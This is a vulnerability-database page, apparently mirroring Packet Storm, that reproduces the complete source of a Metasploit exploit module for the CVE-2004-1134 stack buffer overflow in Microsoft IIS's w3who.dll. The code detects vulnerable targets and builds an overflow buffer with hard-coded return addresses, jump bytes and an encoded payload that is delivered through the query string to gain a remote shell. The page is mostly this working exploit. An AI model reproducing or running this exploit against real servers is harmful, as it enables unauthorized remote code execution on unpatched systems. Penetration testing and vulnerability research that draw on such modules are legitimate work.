Lucene search
K

Microsoft IIS ISAPI w3who.dll Query String Overflow

🗓️ 26 Nov 2009 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

Microsoft IIS ISAPI w3who.dll Query String Overflo

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2004-1134
7 Jul 201000:00
circl
Check Point Advisories
Microsoft ISAPI W3Who Library Buffer Overflow (CVE-2004-1134)
18 Feb 201000:00
checkpoint_advisories
CVE
CVE-2004-1134
8 Dec 200405:00
cve
Cvelist
CVE-2004-1134
8 Dec 200405:00
cvelist
Exploit DB
Microsoft IIS - ISAPI 'w3who.dll' Query String Overflow (Metasploit)
7 Jul 201000:00
exploitdb
Metasploit
Microsoft IIS ISAPI w3who.dll Query String Overflow
13 Sep 200606:28
metasploit
NVD
CVE-2004-1134
10 Jan 200505:00
nvd
OpenVAS
w3who.dll Buffer Overflow / XSS Vulnerability - Active Check
3 Nov 200500:00
openvas
OpenVAS
w3who.dll overflow and XSS
3 Nov 200500:00
openvas
Packet Storm
iis_w3who_overflow.pm
12 Jan 200500:00
packetstorm
Rows per page
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the w3who.dll ISAPI  
application. This vulnerability was discovered Nicolas  
Gregoire and this code has been successfully tested against  
Windows 2000 and Windows XP (SP2). When exploiting Windows  
XP, the payload must call RevertToSelf before it will be  
able to spawn a command shell.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1134'],  
[ 'OSVDB', '12258'],  
[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html'],  
[ 'BID', '11820'],  
  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 632,  
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",  
'MinNops' => 128,  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [ 48, 0x01169f4a ] }], # pop, pop, ret magic  
['Windows 2000 RESKIT DLL [Windows XP]', { 'Rets' => [ 748, 0x10019f4a ] }], # pop, pop, ret magic  
],  
'DisclosureDate' => 'Dec 6 2004'))  
  
register_options(  
[  
OptString.new('URL', [ true, "The path to w3who.dll", "/scripts/w3who.dll" ]),  
], self.class)  
end  
  
# Identify the target based on the IIS version  
def autofilter  
res = send_request_raw({  
'uri' => datastore['URL']  
}, -1)  
  
# Was a vulnerable system detected?   
if (res and res.body =~ /Access Token/)  
case res.headers['Server']  
when /5\.1/  
datastore['TARGET'] = 1  
else  
datastore['TARGET'] = 0  
end  
  
return true  
end  
  
# Not vulnerable  
return false  
end  
  
def check  
res = send_request_raw({  
'uri' => datastore['URL']  
}, -1)  
  
if (res and res.body =~ /Access Token/)  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
buf = rand_text_english(8192, payload_badchars)  
buf[target['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"  
buf[target['Rets'][0] - 0, 4] = [ target['Rets'][1] ].pack('V')  
buf[target['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')  
buf[target['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded  
  
print_status("Sending request...")  
r = send_request_raw({  
'uri' => datastore['URL'],  
'query' => buf  
}, 5)  
  
handler  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation